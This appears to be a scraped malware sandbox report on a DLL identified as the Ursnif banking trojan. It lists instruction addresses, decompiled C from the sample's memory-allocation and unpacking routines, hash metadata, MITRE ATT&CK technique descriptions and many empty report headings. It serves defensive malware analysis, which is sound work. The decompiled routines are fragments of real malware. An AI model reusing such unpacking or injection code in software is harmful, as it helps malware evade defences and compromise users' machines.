0x0479364f
0x0479365b
0x04793662
0x04793668
0x04793669
0x04793669
0x0479366a
0x04793675
0x04793677
0x04793681
0x04793683
0x04793689
0x04793691
0x04793698
0x0479369e
0x0479369e
0x047936a1
0x047936ac
0x047936ae
0x047936b8
0x047936c1
0x047936c2
0x047936c5
0x047936c8
0x047936ce
0x047936ce
0x047936d5
0x047936d9
0x047936dc
0x047936e4
0x047936e6
0x047936ed
0x047936f0
0x047936f1
0x047936f8
0x047936fc
0x04793705
0x04793709
0x04793712
0x04793716
0x0479371f
0x04793723
0x04793724
0x04793730
0x04793737
0x0479373d
0x0479373d
0x0479373e
0x0479373f
0x04793742
0x0479374c
0x0479374e
0x0479375a
0x04793761
0x04793767
0x04793767
0x04793768
0x04793770
0x04793772
0x0479377c
0x0479377e
0x04793785
0x04793788
0x04793794
0x0479379b
0x047937a1
0x047937a2
0x047937a2
0x047937a3
0x047937b2
0x047937b4
0x047937be
0x047937c1
0x047937c5
0x047937d1
0x047937d4
0x047937de
0x047937e1
0x047937ed
0x047937f4
0x047937fa
0x047937fb
0x047937fb
0x047937fe
0x04793806
0x04793808
0x04793809
0x04793814
0x0479381b
0x0479381d
0x0479381d
0x0479381e
0x0479381e
0x04793821
0x0479382c
0x0479382e
0x04793831
0x04793842
0x04793846
0x0479384a
0x04793852
0x04793855
0x04793858
0x0479385f
0x04793862
0x04793862
0x04793868
0x04793872
0x04793874
0x04793875
0x04793875
0x04793879
0x0479387c
0x0479387f
0x0479388d
0x04793890
0x047938a1
0x047938ad
0x047938ad
0x047938ad
0x047938af
0x047938b9
0x047938bb
0x047938bc
0x047938bc
0x047938bc
0x047938c1
0x047938c2
0x047938cf
0x047938d7
0x047938de
0x047938e4
0x047938e5
0x047938f4
0x047938f6
0x047938fc
0x047938fe
0x047938ff
0x04793902
0x04793905
0x0479390b
0x0479390f
0x04793912
0x04793912
0x0479391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 04793862

Strings

@, xrefs: 04793831

Memory Dump Source

Source File: 00000004.00000002.229845010.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 3e57e1b3806f40d9d4beaa1045cfd4d898ec1c7708c9200a0d9387ee72f06c4f
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 35F15E72804204EFEF049F64C5897ADBBF5FF88715F1584ADDC88AB245CB782950CB68

Uniqueness

Uniqueness Score: -1.00%

Function 04796194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04796194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0479463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E04794859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E04792DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0479348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E04794DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x04796194
0x04796194
0x04796194
0x04796195
0x0479619c
0x0479619f
0x047961a4
0x047961a7
0x047961a9
0x047961ab
0x047961ac
0x047961af
0x047961b7
0x047961c5
0x047961c5
0x047961ca
0x047961ca
0x047961d1
0x047961d5
0x047961d8
0x047961de
0x047961e8
0x047961f0
0x047961f7
0x047961fd
0x04796207
0x04796209
0x04796210
0x04796214
0x04796218
0x0479621c
0x04796226
0x04796226
0x04796230
0x04796230
0x04796233
0x04796233
0x04796239
0x04796240
0x04796243
0x0479624b
0x0479624f
0x04796255
0x04796260
0x04796262
0x04796267
0x04796272
0x04796274
0x04796276
0x04796279
0x0479627a
0x0479627d
0x04796281
0x04796284
0x04796284
0x0479628a
0x0479628d
0x0479628e
0x0479628e
0x0479628e
0x04796296
0x0479629f
0x0479629f
0x047962a2
0x047962a7
0x047962af
0x047962b3
0x047962b4
0x047962b4
0x047962b9
0x047962c6
0x047962c9
0x047962cd
0x047962e1
0x047962e9
0x047962ed
0x047962f3
0x047962f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 047961CA
VirtualProtect.KERNELBASE(?,?), ref: 04796233

Memory Dump Source

Source File: 00000004.00000002.229845010.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: 750e796775056757a8fd32ac93d7344211e6958a123d4a6792b40bd3e9e54170
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 0041D172508604DFEB04DF60C9847BDBBF9EF88701F0A846DDD888B249DB785941CB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report swlsGbeQwT.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

Function 00A112D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 00A1269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Function 00A183B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 024C348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 00A18B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Function 00A1ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 00A16786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 00A11B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 00A1924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 00A16A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 00A1225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 00A13BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Function 00A11A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Function 00A194A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 00A173FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Function 00A18504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Function 00A13FC3, Relevance: 4.6, APIs: 3, Instructions: 73
memorystringCOMMON

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Function 00A13DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Function 00A17323, Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Function 00A19152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON